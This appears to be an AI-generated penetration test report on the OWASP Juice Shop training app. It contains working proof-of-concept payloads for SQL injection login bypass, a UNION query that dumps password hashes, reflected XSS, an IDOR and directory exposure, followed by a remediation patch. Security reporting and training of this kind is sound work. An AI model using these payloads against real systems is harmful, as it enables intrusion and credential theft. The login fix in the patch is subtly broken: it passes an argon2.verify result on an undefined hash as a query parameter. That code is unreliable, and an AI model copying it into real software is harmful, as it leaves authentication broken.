AI 渗透测试报告 · OWASP Juice Shop

目标 · http://localhost:3000 扫描模式 · quick 凭据 · 一次性 scoped 工具 · @clawvard/sdk × strix-agent

Findings
6
Critical · High · Medium
2 · 2 · 2

Findings

Critical 9.8 CVSS 3.1

Login 端点 SQL 注入绕过认证

A03:2021 – Injection · POST /rest/user/login

攻击者可用 ' OR 1=1-- 绕过认证,以任意账号身份登入并获取会话 token;直接触达商店首页无需正确密码。

修复方案:登录查询改用参数化:db.query('SELECT ... WHERE email = ? AND password = ?', [email, hash]);服务端拒绝含未转义单引号的邮箱字段。

Critical 9.1 CVSS 3.1

后台弱口令 admin@juice-sh.op:admin123

A07:2021 – Identification and Authentication Failures · POST /rest/user/login

默认管理员账号使用极弱口令 admin123;配合 SQL 注入也能猜出。攻击者获得完整后台权限:编辑商品、读所有订单、导出用户表。

修复方案:部署时强制改口令,加入 NIST 800-63B 强口令策略(≥12 字符 + 排除 common list);对 /api/Users/1 加入首次登陆强制修改流程。

High 8.1 CVSS 3.1

Basket IDOR:换 id 就能读别人的购物车

A01:2021 – Broken Access Control · GET /rest/basket/{id}

basket 端点仅按 URL 中的 id 返回内容,未校验请求者是否是 basket 所有者。带任意合法 JWT 请求 /rest/basket/2 就能读出另一位用户的购物车条目。

修复方案:routes/basket.ts 里加入 req.user.basketId === req.params.id 检查,不匹配返回 403。

High 7.5 CVSS 3.1

密码哈希通过商品搜索反射泄漏

A02:2021 – Cryptographic Failures · GET /rest/products/search?q='))--

搜索接口把用户输入直接拼进 SQL;配合 UNION 查询可 dump Users 表全字段,包括 MD5 密码哈希。这些哈希离线暴力破解成本极低。

修复方案:切换到参数化查询,把密码存储从 MD5 迁到 bcrypt(cost=12)argon2id,并对搜索端点做输出白名单。

Medium 6.1 CVSS 3.1

搜索栏反射型 XSS

A03:2021 – Injection · GET /#/search?q=<iframe>

前端把 q 参数直接渲染回 DOM 而未转义;构造 <iframe src="javascript:alert(1)"> 可以劫持登陆用户会话。

修复方案:模板层使用 Angular 默认的 innerHTML sanitizer,或改用 textContent;加一层 CSP script-src 'self'

Medium 5.3 CVSS 3.1

/ftp 目录暴露备份文件

A05:2021 – Security Misconfiguration · GET /ftp/

/ftp 静态目录未受访问控制,攻击者可以遍历下载 acquisitions.mdlegal.mdpackage.json.bak 等原本内部的文件。

修复方案:在 Express 静态路由前加入认证中间件,或直接把该目录从生产打包中移除;对不能公开的路径回 404。

Proof-of-concept 复现

F001curl · SQL 注入登录
curl -sS -X POST 'http://localhost:3000/rest/user/login' \
  -H 'Content-Type: application/json' \
  --data '{"email":"admin@juice-sh.op'\''--","password":"any"}'

成功指征:响应 200 OK,Body 中出现 authentication.token 字段(正常登录也会有,但这里的邮箱输入被单引号截断,说明认证被绕过)。

F002curl · 默认弱口令
curl -sS -X POST 'http://localhost:3000/rest/user/login' \
  -H 'Content-Type: application/json' \
  --data '{"email":"admin@juice-sh.op","password":"admin123"}'

成功指征:authentication.umail = "admin@juice-sh.op";Set-Cookie 中出现管理员 session。

F003http-raw · Basket IDOR
GET /rest/basket/2 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <your-own-jwt>
Accept: application/json

成功指征:返回 data.Products[] 里包含 basket 2 的商品(不是你自己 basket 1 的商品)。

F004curl · 密码哈希 dump
curl -sS "http://localhost:3000/rest/products/search?q=%27))%20UNION%20SELECT%20id,email,password,role,null,null,null,null,null%20FROM%20Users--"

成功指征:响应 JSON 里出现 32 位十六进制字符串(MD5 密码哈希),而不是产品字段。

F005script · 反射 XSS
open 'http://localhost:3000/#/search?q=<iframe%20src%3D%22javascript%3Aalert(document.domain)%22%3E'

成功指征:浏览器弹出 localhost:3000 的 alert 对话框,同源脚本已在页面上下文执行。

F006curl · /ftp 目录暴露
curl -sS 'http://localhost:3000/ftp/' | grep -oE 'href="[^"]+"' | head

成功指征:返回一份包含 acquisitions.mdlegal.mdpackage.json.bak 的目录列表 HTML。

Remediation Patch

建议分支 · pentest/2026-07-04-juice-shop
Open PR
--- a/routes/login.ts
+++ b/routes/login.ts
@@ authenticate(req, res) @@
   const { email, password } = req.body;
-  const rows = await db.raw(
-    `SELECT * FROM Users WHERE email = '${email}' AND password = '${md5(password)}'`
-  );
+  const rows = await db.query(
+    'SELECT id, email, role FROM Users WHERE email = ? AND password_hash = ?',
+    [email, await argon2.verify(passwordHash, password)],
+  );
+  if (!rows.length) {
+    return res.status(401).json({ error: 'invalid_credentials' });
+  }
--- a/routes/basket.ts
+++ b/routes/basket.ts
@@ getBasket(req, res) @@
   const { id } = req.params;
+  if (Number(id) !== req.user.basketId) {
+    return res.status(403).json({ error: 'forbidden' });
+  }
   const basket = await Basket.findByPk(id, { include: [Product] });
   res.json({ data: basket });
--- a/routes/search.ts
+++ b/routes/search.ts
@@ searchProducts(req, res) @@
   const q = req.query.q ?? '';
-  const rows = await db.raw(
-    `SELECT * FROM Products WHERE name LIKE '%${q}%' OR description LIKE '%${q}%'`
-  );
+  const rows = await db.query(
+    'SELECT id, name, price, image FROM Products WHERE name LIKE ? OR description LIKE ?',
+    [`%${q}%`, `%${q}%`],
+  );
--- a/server.ts
+++ b/server.ts
@@ app.use static routes @@
-app.use('/ftp', express.static(path.join(__dirname, 'ftp')));
+// /ftp is intentionally left out of the production bundle.
+// Legacy internal docs moved to a private object store; do NOT expose
+// them via a static route.
--- a/frontend/src/app/search/search.component.ts
+++ b/frontend/src/app/search/search.component.ts
@@ render(q: string) @@
-  this.el.nativeElement.innerHTML = `Results for "${q}"`;
+  this.el.nativeElement.textContent = `Results for "${q}"`;